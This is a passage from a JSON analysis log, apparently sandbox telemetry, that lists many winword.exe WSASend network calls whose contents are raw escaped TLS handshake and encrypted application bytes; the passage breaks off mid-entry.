  493. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\xe8>\\x03\\x8e\\xf7\\xeb\\x08\\x9a:\\xf3+u:x\\xad\\xc1il\\x8f\\x9ee\\xeex\\xe4\\xcb\\xe4e\\x83\\x13\\xf3\\xad\\x82\\xa3\\xca\\xb4i\\x16\\xea\\xf6\\xd9\\xff9\\x1b\\xb2c\\xf9\\xe6(\\xd0\\x10\\x8a\\xd6\\xf9\\x02\\xea)h|\\x7f\\xfd\\xaa\\xea\\x90\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0f5\\xe7j\\xd6\\xa2]\n\\x89<\\x01\\xad\\x06\\xa9\\x9dn\\xefu\\xbdp;t>1\\x1e@><\r\\xecc\\x13y\\xc6\\xd3\\x194\\x92\\x84v\\xb7\\x145\\x1b8e\\xbf\\xc4"
  494. },
  495. {
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8e\\x81\\x8a\\xbd6\\x83\\x96\\xa9\\xf2\\xb8\\xf6\\x15\\x16m\\x04o\\xff\\xcdd\\x95\\xcdn\\xe6\\xc22}*@p\\xe4\\x06\\xcd2\\x12d\\x80y\\xdc3@\\xb4\\x83\\x1c\\xf2\\x96\\xf5\t\\x8d\\xf3'\\xb5e\\xe0\\x8e\\xf1\\x1cix\\x84\\xc2\\xc7\\xba\\xbe\\xd0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbf\\xb6\\xdd\\x84\\xdb\\xac!\\x93z<\\x8e\\\\x90\\x9d_\\x96\\x8b+\\x02\\xe0\\xcan)\\xda:\\x01j\\x03#\\xf5\\x0c\\xd2\\x85\\x90\\x95n\\xf3\\x01\\xde\\x1a]\\xad_\\xfc&\\x0e\n-"
  497. },
  498. {
  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9f\\x9e\\xeb\\x17\\x1dx\\x16\\xac\\xa0\\xbc\\x0e\\xac\\x03\\xd2\\xe3\\xa1be\\x19~\\xc0\\xea\\xa1\\xf5\\xc5k\\xd1\\xc3\\x7f\\x8em\\x8d\\xce\\xf6\\xb4d\\xce\\xa6\\x02\\xa58\\xd6e\\x0f\\xd2(\\x19\\xea\\x10v:|\\xff\\x02\\xf8\\xaeh*\\xafc\\xfb4\\x07=\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000;,\\xde\\xd0k\\xd9h\\x87c\\xfeq\\x84p\\xc3\\x8c\nt\\xb3\\x1d\\x913s.\\x9d\\x18\\xa5^ha\\x8b.\\x0bi\\x17$\\xc4\\xc4\\xe9t\\xd5z\\x08ba\\xae1u\\xab"
  500. },
  501. {
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb5\\xad~\\xf5\\xfc.o\\xa7\\xb8`*\\x9d\\xb4yu\\xb9\\x043\\xbb\\xbbc\\xc2\\xbd\\x18}%\\xf3\\x92\\xd1\\x8a\\x06\\x1f\\xcc\\xad\\x94\\xaa\\x85nf\\x1d#\\xc7\n$\\x89\\xf4\\xa3\\xca@\t\\x11\\x86\t\\xd2h\\x14p\\x80\t\\x8d\\xe61\tm\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf9\\xd3cj3\\x9ba\\xbc\\x13\\x95\\@r\\xd7\\x17\\xbc\\xc6\\xd2(\\xfd\\xe7\\x00p\\xa8\\xc4\\xd4y|\\x0b\\xa3\\xe9\\xddp\\xb8t\\xa9\\x01\\xad\\x92\\xa7\\xc6h\\x7f\\x13\\xd5i\\x1f\\xab"
  503. },
  504. {
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04}\t9\\xb4.fd\\xb3l\\x7f^\tde_r\\x0b\\xfd\\x0b}v\\xacth\\xe5w\\x8c\\x0c\\x81\\x9bc\\xa0/\\xdd\\x06k\\x10\\x1e\\xa4'\\xdc\\xd0\\xc0\\xeb\\xd3\\x93\\xd2\\x8b#r\\x99\\xb3,\\xac\\x98\\xa6z\\xc48k\\x83\\xa6\\xd5'\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000#\\xce\\xbc_\\@$_\\xc6\\xef6\\xa7\\x9cd\\x04\\xea\\xcd\\xd2<ip\\x0c\\xef\\xe2\\x93w\\xe0\\x97\\x9a\\x8c\\xf4\\x83\\x85\\\\xe1\\x01_\\x80\\x98\\x97\\xf7\\x8a\\x84\\x86\r\\xa0'\\xb4"
  506. },
  507. {
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k\\xc3\\xdf\\xf1\\x1b\\x94\\x8d$ t\\xa22uo\\xcc\\xcdg\\x0f_$a\\xab\\x92\\x8e\\x84\\xaa`\\xe2,.z\\x10!\\xc9\\xddyt\\xb9\\xb9t\\xdb\\xf7\\xd4<\\xcc$vm\\xe8\\x8bf9$\\xaf\\x05{a\\x0c\\x17\\x19\\xbfh\\xfd\\xd3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000n[\\xc6\\xe8\\xad\\x8cx\\xc9k.bg\\x80@\\xc3\\xe0o#\\x04\\xf81\\xf7\\xb3t\\xc5\\xa6l\\xd4e{\\x7f\\xb6v\\xa9\\xf9\\x80\\x9f\\x94\\xfd1pp\\xae\\xf9\\x06\\xa7\\xdd\\xdb"
  509. },
  510. {
  511. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04a0\\x03\\x04\\xaa\\x92\\xcc\\xfdu\\xea\\xa5knb,\\xc4v\t~\\x8e\\xee\\x0b<n\\xa8mv\\x02\\xe0oq\\x15\\xff\\xc6\\x18s\\x143\\x929\\xd5\\xda\\xc3\\x9fe\t\\xbcz.@\\x93\\xe0\\xd5\\xdb\\xce^}i\\xae\\xe3\\w\\xd8|\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000 l\\xe3\\xb4\"\\xece\\xb2\tag\\xe2\\xc4\\x88\\x08\\x01z\\xb0\\x8bu\\xee.p\\xb3\\x00\\xf6\\x11xc\\xa1\\xe0\\xb31\\xe4f\\xed\\xf0\\xf9i\\xda?t\\x1c:\\x12g_\\xe8"
  512. },
  513. {
  514. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x12\\x9bv\\xb0\\x9d\\xdd\\\\xb2\\xe8\\x8c,\\xc0\\x15\\x95\\x1ca\\xde\\x9c\\x1f\\xc5\\xf2\\xf0\\xf0\\x13\\xaa\\x95\\x14w\\xbc\\xc3n\\xaeqh\\xd6\\xb1'\\x89to\\x96\\xebpt\\x07\\xb1\\x92\\x14/\\x08\\x8f\\xfbe\\x0b,\\x83\\x16\\xc2v\\x99\\xa7\\xc1v\\xfb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x93\\x02\\x9e;:x\\xde\\xc8\\xae\\xd6\\x98\\xc5\\x8fc\\xb1p|\\xf2@to\\xe0\\xc9\\xad\\xb0\\x0b\\x12qf?\\xd0d\"+\\xeaplqp\\xd6\\x99\\xfe\\xb1:\\xaap:\t"
  515. },
  516. {
  517. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbf\\x86]\\x08m@>\\x9f\\xaf^\\xfe\\x9e\\xd9\\`\\xd9\\xa6u\\x0b\\xebp+\\xe8\\x15e\\x84g\\xd1\\xe7\\xa6\\x0c\\xe9\\xd1\\x8eg\\x95\\xfat\\xb3\\(=o\\x0b\\xd8hzpx\\x98\\xc9\\x1e\\xb1\\x13\\xe4w\t\\xc7\\xc2w\\x80\\xe5\\x90\\xe7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x13\\xc7jhn\\xc4w\\xe1#9_\\xca\\x11\\xe7\\xfdoiya\\x8a\\x18\\x05\\x17\\xb8\\xcfv\\x82\\xf7\\x81z\\x19i\\x86h\\x175\\xc7\\x0cuz\\x0bx\\xb5\\x19-\\\\x94\\xf1"
  518. },
  519. {
  520. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x91\\xb8\\x9b\\xa2\\x1dg\\xa4a'\\x03\\xaf\\x80\\xcbc:<r\\x86'\\xcc\\x92\\xc1\\x04)\\xa7a6\\x16\\xfa\\x14\\xeao\\x81\\\\x06l\\xed\\xe8.\\xbc\\x95\\xe3\\xfc\\x14\\x1az\\x02j\\xcfm\\xaf\\xb2=\\xc8\\x1cs\\x980\\xe2\\xe4o\\xfc\\x19\\x0c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa8\\xb2\\xed\\xc9bd!<\\x13\\xff\\x06\\x8c\\xa1w\\x1dx\\x8b\\xbek\\x1d\\x1f\\xb5qx\\xd5\\xbc\\x00\\x84a\\xce\\xfa\\x10p\\x06-@>\\xe3\\x01\\xc2ik\\x81\\x02\\x0b\\xdb\\x00:"
  521. },
  522. {
  523. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8a\\x10\\xf7\\xcc\\xb8]gm\\x08k\\xd3h\\xa9\\xc4\\x89\\xa2\\xearo\\xccf\\xaes\\xf5xa\\x04\\x9f\\xd1c\\xe9\\xc3)(\\x9a\\x89\\x16m\\xa9u\\xd4\r\\x9e\\x94?\\xb8q\\xfc\\x96\\xf0\\xd6(5\\xbd\\x1edc\\xf7\\xd2\\xd8\\xf8\\xbe\\xc3\\x96\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\t\\xbfb\\xc0\\x7f\\xbcj\\xb9\\x7fv\\x06&\\xb4\\xe4b\\x87v\\x11y\\x89\\xa1\\x9d\\xff\\x13\\x1bk\\xfa`\\xfd\\xb0\\xb84\\x82\\xda\\xd9\\x98]\\xf5\\xe2\\xa4\\xfb\\x97>\\x0es<ku"
  524. },
  525. {
  526. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdcul\\xe1d\\xce\\x95\\xa2l\\xe3oq\\x87q\\xcf&\\xf5c\\xa1\\xd4\\xcf\\xc1w\\xfb\\xf1)\\x08n\\x81\\x85c\\x8c\\x1e\\xd6\\xee\\xb0\\x0c\\xe0\\x1f:m*\\x01\\x04\\xec\\xb3\\x7fb\"\\xde@\\xa5-'c\\xc4\\xbc\\xf0\\xae4\\xad\\x9e]\\xad\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x13\\xcd\\x82_]?\\xc6h \\xfa\\xbd\\xf8d\\xe1]\\xb4{\\xf9\\x86:v\\x00k\\xe28\\xcc\\x1e\\x01\\x02hq\\x86y\\x13\\xc7f\\x11y\\x9a\\x11\\x1bfb\\xa2\\x91\\x1ca\\xbb"
  527. },
  528. {
  529. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010-\\xa3z*\\x8c\\xdf\\xcb,\\x0b\\xef\\xb7>4\\xf3\\x97\\xd1\\xa4\\xe6\\x1a\\xb7\\x9d\\x0e\\x91\\xe2x\\xff\\x81\\xc6\\x01\\x9c\\x154\\xaa\\x10\r.\\xb7\\xea\t\\xfb\\xd3\n\\xa5]@\\xafxs\\xd7\\x85h\\x17\\xaf\\xab\\xd6\\xd4v\\x1e\\x14\\x85r\\x11\\xc8\\xd74\\x014\"\\x97qe\\x9f\\b\\xa0w\\x15f,\\xcc\\x85\\x8ej~\\xb2\\x85\\xa2\\x97\\xcd\\x1a@r\\xcf<\\xdf\\xa4\\xfe!iu\\xa2\\xa8u\\xadx\\x1d\\xe5f,s\\xea\\xf0\\xa0\\x9b\\x10\\xd1\\xb6\\x03\\xf3,\\x11\\x84\\xd6\\xd5\\x8b\\x0b\\xa26\\x07\\x12\\xa4kw\\xfdj\\xbe)\"\\xd7\\xc7\\x89~\\x8e\\x05;\\xed#\\x8b\\x80w\\x81\\xc7o\\xa7*\\xf8\\x8e\\xaa\\xdatul\\xb76s\\xd1\\xad\\xa7\\x8f\\x9fw\"\\x94\\xf1\\xbb\\x84\\xfd\\x8b\\x07\\xb0\\xf7\\x9f\\xfbt|w!|j\t\\xd7\\x9dg, \\x86\\xa1\\x18h\\x83 \\x98\\xe0(\\x17&\\xd7t9\\xb5\\xe7\\x9f\\xcf\\x17'\\xab>\\xf9\\xf9\\xfc\\xf8rf\\x86l\\xa1da$5\\xdf\\xcc\\x80\\x9f|\\x05f\\x15\\xad2\\x9f\\xd5\\xb4\\x92\\xb3l6\\xc7\\x93)\\x1a"
  530. },
  531. {
  532. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8f&\\xc6\\xda\\xb7\\xd0\\xc6\\x978o\\xcb\\x84\\xbf\\xc4pnd\\xb2\\x99\\xc4\\xdf\\xda\\xb5d\\xb68\\xcf\\xfc\\x06\\x19\\xbb\\xc3\\x08\\xb8,^\\xd1\\xd8^(\\x18m=e\\x99\t\\xfbw\\xf2\\xbc\\xd3q\\x12\\x85\\xec\\xbe\\x0b\\xafm\\xd9\\x86\\xe2\\xa6\\xca\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:e\\x92ng8p\\xcdv\\xaa\\x90/\\xbc\\xcfo\\xa8\\xbcw.\\xb6\\xe1y\\xec\\x18{\\x1d\\xd4\\x03+g|\\x92\\xd5%\\xbc\\xa8rc\\xbc/\\x02zd\\x9b\\xd4\\x1b\\xfc\\x16"
  533. },
  534. {
  535. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x86\\x13\\x8b\\x85\\xef\\xbbpc\\xe9z\\xbfg\\x91\\xb9-i\\xc6@a:\\x92\\x1e\\xfc\\xa2t\\x0e*vv@\\xd4\\xb9\\x05\\x05\n\\xf4\\x9c\"\\x0f\\xa4)\\xc0\\x04\\xbe!p\\xfd\\x95\\xc9\\x03w\\x0c\\x85\\xdf\\xab\\x0b\n\\xef\\xa2\\xc8\\x10*c\\x85\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s\\xef\\xf3\\xec\\x1f\\xc2\\xc7\\xdb3\\xd9\\xa3a\\xbe_x\\xfb\\x11<wq\\xc9\\xbf<h\\x8f4\\x9f\\x98\\x84\\x9a\\xc7zmt-ks\\x0eu\\xae\\x08\\xc1:\\x9e\\xb7\\xaa?\\xbc"
  536. },
  537. {
  538. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04h\\x18\\xa8\\xf8\\xdb\\xc36^z{\\xb0-\\xbe\\xc5h(\\xb9\\x92\\xfc\\xd0\\xc1\\xcd\\xbcuz&\\xfa\\xf4\\x03\\x816\\xc6\\x8f\\x182=\\x0b\\x95\\xfa\\xd8(\\xedyf\\xd10\\xd23\\xa0\\x94\\x81\\xd1\\x1b\\xc3_,\\x1d:~z\\xe2\\xe4\\xfa\\xdf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba!9gs\\x19\\xc4\\x9f\\x9e\\x9b\\xba\\x81\rynk8\\x06x\\xea\\xa5\\xcb=d@\\xd1t\\x93\\xa3i\\x9d\\x1cwcv\\x99\\x8a\\x11\\xb4\\x8c\\xde\\xd0z\\xbbe$\\xd27"
  539. },
  540. {
  541. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04~\\xe4\\x00/\\xce\\x04\\xc8dv\\xb6w\\xe3a\\xe6(\\x14\\xad\\xb4b%\\xbb\\xccp\\xcbg)\\xa4\\xfb\\xd4\\x8b\\xe3y\\x03\\xc5\\xf3u\\x17\\xabkh\\x8e\\x02\\x19cy,\\x11p\\x1e\\xe4\\xa7\\x84\\xe5ab>\\xbbx#|z\\xed\\x89\\x8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\r8w\\xb9\\xae\\xdf\\\\xc2\\x1d\\xfc\\xcf\\xc0\\xec\\xfe\\x04r5\\xce\\xac\\xb8v\\x8ec(\\xb2\\xe0\\xca\\xe7\\xbe)?\\xa4\\xc6\\xeex\\xb7\\x97\\x18&\\x00\\x90\\xe9\\xee\\x0f\\x86\\x17u\\x91"
  542. },
  543. {
  544. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04+#\\xd3\\xc2\\x86~}\\x9d\\xfcrk\\x86 \\xc7\\xbd\\xa9q\\xf0\\x19_t!;7i\\xfb\\xd4\\xc7\\xb0\\xc3g\\xfcu/1\\x9f\\x7f\\xbf\\xbc\\xc74\\xae\\x9b6\\xf2\\xb6\\x0f3\\x06\\x1e\\xc7\\xedub\\xe4\\xe2\\xd5-j7\\xa8\\xb6\\xd8\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0b\\x90\\xfa\\xab\\xc9u\\xb3j\r{\\x01\\xcc\\x12\\xc0pq\\x95\\xb1\\xcd5\\x03\\x9ay3\\xda\\xc1\\x92\\x8d\\xc4\\xc5\\xe1\\xed\\xc2\\x8a\\xc6\\xbaj\\xf5k2\\xb9\\xd4\\xbd{\\xf7\\xbc\\xc5:"
  545. },
  546. {
  547. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9e\\xa9\\x1ap\\x08\\x98x\\xa6\\xc0\\xec\\x86h\\x1f\\x81l9\\x9e\\xbc\\xe1\\x08s\\xbb\\xff\\x92x\\xcd_\\x9ezo\\xda\\xc9n\\xc9p~\\x10\\xc7\\xad\\xc8\\xe4\\x15(\\x90\\xbf\\xd3#\\xe6\\x87\\x1bhq@f\\x17;\\x03\\xb2\\xe8\\xc7-\\x8b\\xe6f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000|xy\\x96\\xed\\xc6\\xc7\\xa6\\xfbq\\x81&\t\\x8du*e\\xd3@*sqi\\xe1h\\x95v\\x88\\x8b\\x99\\xddq\\x8b\\x99\\x199q<\\xbf}ca\\xfd\\x95.\\xb4\\xac7"
  548. },
  549. {
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04<\\x92\\xc4\\xda-\\xca/\\xa0\\xcc\\xeb\\xa6,\\xab\\xfa^\\x86\\xc4\\xdbw\\x10\\x06l\\xe4\\x1b\\xb2\\xc13\\x08\\xb7\\xab%\\x9f\\x86\\xbb\\xdf\\xb9o_[\\xbe\\xc1j$c\\xd6\\xfa\\x9d\\x9c\\xb7\\x97\\x8e\\x02\\x9d\\x10\\x91\\xb8s\\xd9\\x80\\xdc\\xe9 \\x83\\xab\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfc~\\xfb\\x9b\\x85\\xb8+\\xfcb6\\xee\\x81;\\xf0[\\xcc\\x99=zag\\x90\\x14\\x0be\n\\xfb\\xc1w\\x8a\\xbf\\xea!\\x80\\x9e\\x08\\x9f\\x86\\xaakzu\\xeb\\xc9i{\\x04\\xda"
  551. },
  552. {
  553. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe3\\xa5\\xf9\\xbd\"g*\\xa3\\x82wi\\x948\\xcfo\\x12\\x02|\r\\xd1\\xd8xu\r9=?_\\xbe\\x85q\\xa6h5hj/\\xbd?\\x86\\xc5\\x9d\\xdbz\\xccr\\x19\\xb0$\\x90r\\xb6\\x00\\xac \\xa7\\xa4wg)\\xbd\\x98\\x06\\xf6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\xcf\\xea\\x073\\x97\\x0b\\xae\\x99p\\x13\\xdf6wp\\x88xh\\x7f\\x1e\\x98\\xb5\\x13\\x0e\\x0eo\\xdc\\xe1\\xba'*s\\xaap6\\xfd\\xc2\\xd4\\xd0\\xe8\\x1e[\\x03>\\x82ek\\x86"
  554. },
  555. {
  556. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9%\\x96\\x1f\\xa3\\x92\\x17-\\xa9\\x8d\\x96~\\x8ck\\xa6\\x9a\\xbas\\xdc\\x1d\\x1a\\x94\\xf9n\\xb4\\xd2\\xd4~|v\\x9e\\xca?p\\x84h\\x87\\xd9\\xa69gu\r\\xca\\xc2y\t\\xc6!\\xe0>\\xe2\\xe3\\xb8\\xe9r\\xb0\\xe3\\xe5\\xedk*u\\xf7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9a!\\xf4\\xcct\\x1b\\x8a\\xc2\\xa9z>\\xb1\n8\\x88d,x\\x03\\xcf\\x08\\xddnk\\xae8 \\x06\\xb8\\x89\\xd7c-yd\\x17\\\\x04\\x1f\\xd7\\xd2igt\\x8c \\x07\\xe4"
  557. },
  558. {
  559. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8b\\xd6\\x1e\\x04i\\xefm\\xa3\\x157\\x0e\\xaf>\\xb9\\xf5\\x85\\x89\\xd0\\xcc,\\xe4\\xfe};\t\\xf27\\xca\\xfc\\xed\\xd1\\x8c\\xd3\\xb8\\xca\\x80\\xd7\\xd1<\\xa2%c\\xe5|\\xcbs\\xf0\\xf1\\x156\\x86\\x0f\\xb5@\\xce\\xdb\\xb2\\xcdc\\xadq~\\xf15\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe7\\xfa\\xa9\\xd2\\x96\\xc4\\x00\\xf6\\x0ck\\x91r\\xd5\\xd4\\xdc\\x06!\\xfb_j\\xa1k\\xc7bje\\x9c\\x1b\\x85#b\\xcf\\xc1\\x84qda\\xdc4\\xf5@%~q\\xa5\\xb8\\w"
  560. },
  561. {
  562. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x043\\xa1\\x8a=\\xe2\\xa8;\\xa7\\xc1\\xe4\\xf4\\xa2\\xc0\\x1dr\\xd9\\x94\\xfc\\xcdl-f\\xaa\\xf3c\\xadn-e\\x0f\\xee\\xdd\\xc2q\\xb1#\\x11\\xd5\\xd47\\xab\\xad2\n\\xead\\xf0\\x1b\\x8e7\\x1d\\xaa\\x9d)\\x81\\x9f\\xb1\\x83\\x1c\\x03\\xb9\\xe7\\x03f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf4\\x8c\\xbb\\xf2^\\xe5\\xfdv\\xe7\\xc34\\x96\\x9f\\x0b$\\xba\\xa7 t\\x90\\x02\\xf9\\xe0i\\x92\\x89\\x9a\\x88\\xd6nu\\x82\\xfa\\x02\\x00ga\\xf87\\xd2i?^\\xb8p\\x89\\x8f#"
  563. },
  564. {
  565. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xee\\xdc\\x1b\\x8c\\xdb\"\\xa4]\\xb0\\xcdh\\xae\\xe5u? \\xed\\xc7\\xe9\\xfe\\xbc(ces\\x0en\\x0e2%\\xb4-\\xb3\\x92\\xd1\\xbe\\xb8pz@qt;\\xc4l\\xcdi\\xa6\\xe8\\x07vl\\x16os]n\\x8a\\xfb\\x96d4\\x1e\\xed\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd13\\xf6\\x1fk[\\xdex\\xdcv\\xffs\\xf3\\xf0=\\xfai\\xc4/if\\xcel\\xc9\\xf0\\xbe\\xe5\\xdc\\x08\\xac\\xb9\\x94\\xe7\\xf7\\x8b|>\\x9f\\xc5\\x18\\x8as\\x0bh\\xe4\\x93\\x00d"
  566. },
  567. {
  568. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045\\xab\\xf4\\xbf\\xc7\\xf9\\xeb\\xc4\\xe4\\xd7%m\\xbdw*\\xb49\\x88\\x82\\x05\\x0cr\\xf2b\\x95\\xf9!\\xd4h\\x81\\x97\\xb5p\\xdc\\x036\\x94\\x9f\\x94\\xaes\\x89q\\xd9:\\xa8rw\\x0ez\\x06\\x1dtb\\xbe\\xea\\xa4\\x04%c\\x02\\x1f\\xffv\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaa\\x17\\x14}\\x9b=\\xf2\\x99\\xdb\\xa2\\x13^\r\\xb8\\xd4\\xb6\\xea\\xcb\\x8c\\xde2\\x04\\x15\\x99\\xbe\\xd7\\xba\\xc5[\\xdd\\x19\\xefph9\n4\\xdd\\xb2y=8\\xfdr\\x9c\\xc80+"
  569. },
  570. {
  571. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87\\x01\\x03l\\xfd\\x16\\xd01|\\x84 @}lx\\x81@\\xd8\\xca\\x00\\x82\\x81\\x82\\xfe\\xc2.\\xe01\\x11\\xd6\\xf2^?\\x9ee\\xd5\\x19\\x1e\\xbe\\xc65\\x1d\\x96 \\xf5\\x89\\x0b\\xb4v\\xeax~\\xd0\\xd5\\xa8z\\xaf-s\\x18}h\\x85\\xfc\\xd3\\x1eh\\x0fj\\xc1\\xe4\\xe8\\x08\\xff\\xa6\\xa6\\xe2\\xab\\x14\\xaf\\x91\\x9c\\x03k\\xbd\\xabu\\x01\\x8d\\xa1\\x02\\xa1\\xade\\xcad\\xb9\\xb1b\\x13cz}s\\x99\\x82y)\\xc7z,/s\\xf7;\\x90\\x83\\xf7\\x15\\x13j%4\\xb6d\\xb2\\xeb\\xa2\\xd7\\x8d\\xb5\\x90\\xdf\\x91s\\x1a%\\x8c\\xed\tj\\xe5y\\x89\\x9a\t\\xdb\\xd1}\\xf9~up2r\\x9b\\xd4@\\xa9%\\x15\\x87p!3\\x93\\xb8\\xdd\\xa4q^\\xb3\\xfe\\xbc\\x7f\\xb9d\\x8fiq\\xcd\\xe9\\xcb\\xd5\\xee\\x8f\\x95|e\\xef\\xa9\\x8d\\xcfx\\x83\\xb0\\xd4t1h\\xf5-\\xfe\\xeb\\xd3\\xc9\\xd1yg\\x1f\\x16\\xbbo\\xf1\\x85\\xa3(\\xd9n#>l`\\xbb\\xf0\\xfea\\xfb\\x90\\xea\\x7fw\\xc8\\x94\\x14kp^\\xc2k\\xb6\\x1d\\xcb@\\xc3\\xd0\\xbf\\x83\\xe9\\x97!"
  572. },
  573. {
  574. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1f-\\xe9hd\t4\\x03\\xe5@7qj+u%\\xfb\\x12w4\\xe2\\xc5\\x9f\n}\\x01\\x88\\xf5l\\x86\\xee\\x12\\x07\\x17/e~\\x076l\\xc4\\x86\\xdd\\xb1l\\xb8\\x02\\xd5.\\x076\\xf5\\xdc1\n\\xb0\\x02\\x99\\xbe\\x8bn*\\xe0\\xe2\\x1f\\xf8\\xdd\\xfe\\x10\\xb0f\\x9a\\x83p\\x0f\\xa2\\x99\\xbbn\\x1c\\x0e\\xdf\\xd7\\x98\\xd0\\xc2z\\x16\\xf5\\x9c\\x1c\\x90\\xbflx,\\x12\\xae\\x8f<\\x02\\x91\\xff\\x7f\\x05\\x83\\x1fw\\xa0\\x8cr\n\\x89\\x93\\xe7\\x84\\x02\\xbb\\x87~\\x02\\x02\\x0c\\x1b\\x7f\\x9f\\x90pg\\x84k\\xd3\\xae!y\\x8d\\xa0\\xf7\\xeflv\\xf4w\\x9a\\x85i\\xd2\\x0b\\x16&\\xaey\\x03\n\\xd9\\xed\\xe7i(&q(\\xc2\\xfb\\xdf\\xbcfh\\x9e\\xe3uas7g\\xa4\\x957s\\x0c\\xd9\\xc2v!\\xc7m\\xe9\\xb9\\xc7\\xb4\\xd1\\xb9\\xc7\\x99\\xf2\t\\xd5\\x93\\x1f\\xbc7\\xe9\\xc5\n\\xf1n\\x93\\x0b\\x8b\\x1b\\xcb,\\xde\\xe5\\x93\\x90\\xfa\\xe7\\xf6\\x9e\\x15\\xec\\xe2\\x19jd\t\\x8d\\xbf\\x8dt\\xb5\\xd9\\xe9\\x97\\x99{t\r\\xa3\\xbb\\xee\\xcc$\\xdf\\x84c\\xc6\\x0f#\\x8f"
  575. },
  576. {
  577. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101s\\xa7>\\xc4\\x82w\t1\\xdf\\xa1k\\x94\\x7fv\\xf5\\xc9\\xfe\\x8a2\\xa0\\xfe\\x94\\x02%\\x88u@sfd|\\xd2\\xcb\n-jv\\xf8\\xfb\\x11\\x04\\xa9\\x968\\xff\\xb2c\\xdf\\x95\\xb6}\\xf0lj>\\x16\\xfe\\x1c\\x1d\\x9c\\x1f\\xf8\\xa9\\xcb1\\xdc\\x03\\xd54]\\x03d\\xac \\xea\\xcd\\xda\\x1d\\x8b|b\\xe7\\xf71\\xa6%im\\x19\\xec5\\x9a\\xd6\\x91\\x1c+k\\xb9\\x91}\\x8bho\\x1fr\\x80p\\xb4\\xc7h\\xe1'(\\x99\\x16\\xf1lb\\xe7@ 